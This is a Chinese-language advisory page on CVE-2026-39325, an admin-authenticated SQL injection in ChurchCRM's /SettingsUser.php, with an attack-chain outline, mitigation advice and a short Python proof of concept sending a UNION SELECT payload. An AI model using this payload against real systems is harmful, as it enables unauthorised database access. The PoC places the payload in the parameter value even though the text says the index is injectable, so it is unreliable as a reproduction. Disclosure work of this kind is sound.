IPBUF安全漏洞报告
English
CVE-2026-39325 CVSS 7.2 高危

CVE-2026-39325 ChurchCRM SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39325
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMWeb安全CVE-2026-39325高危漏洞

漏洞概述

ChurchCRM是一款开源的教会管理系统。在7.1.0版本之前,其7.0.5版本的/SettingsUser.php端点存在SQL注入漏洞。具体而言,经过身份验证的管理员用户可以通过type数组参数的索引注入任意SQL语句。攻击者利用此漏洞可从数据库中提取敏感信息或修改数据。该安全漏洞已在7.1.0版本中修复。

技术细节

该漏洞源于ChurchCRM在处理/SettingsUser.php端点的请求时,未对用户输入的type数组参数进行严格的类型检查和过滤。虽然该漏洞需要高权限(管理员)账户才能利用(PR:H),但一旦攻击者获得管理员权限,即可通过构造特殊的HTTP请求,在type参数的索引值中嵌入恶意SQL代码。后端数据库在处理这些参数时,会将恶意代码直接拼接到SQL查询语句中执行,从而导致SQL注入。这可能引发敏感数据泄露(如用户凭证、个人信息)、数据篡改甚至服务器被进一步控制的风险。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是ChurchCRM 7.1.0以下版本。
STEP 2
获取凭证
攻击者通过钓鱼、暴力破解或其他手段获取管理员级别的账户凭证。
STEP 3
漏洞利用
攻击者使用管理员凭证登录,并向/SettingsUser.php端点发送特制的POST请求,在type数组参数中注入恶意SQL语句。
STEP 4
数据窃取或篡改
数据库执行恶意SQL语句,返回敏感信息或修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: ChurchCRM 7.0.5 SQL Injection PoC # Description: Exploits SQLi in /SettingsUser.php via type array parameter target_url = "http://target.com/SettingsUser.php" admin_cookie = {"PHPSESSID": "authenticated_admin_session_id"} # Malicious payload to extract database version # Injecting via the index of the 'type' array payload = { "type[0]": "1' UNION SELECT 1, version(), 3, 4, 5-- -" } try: response = requests.post(target_url, cookies=admin_cookie, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print(response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[!] Error: {e}")

影响范围

ChurchCRM < 7.1.0
ChurchCRM 7.0.5

防御指南

临时缓解措施
如果无法立即升级,建议限制对/SettingsUser.php接口的访问权限,或在WAF(Web应用防火墙)中部署规则,检测并阻止针对该参数的SQL注入攻击模式。同时,应加强对管理员账户的监控,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表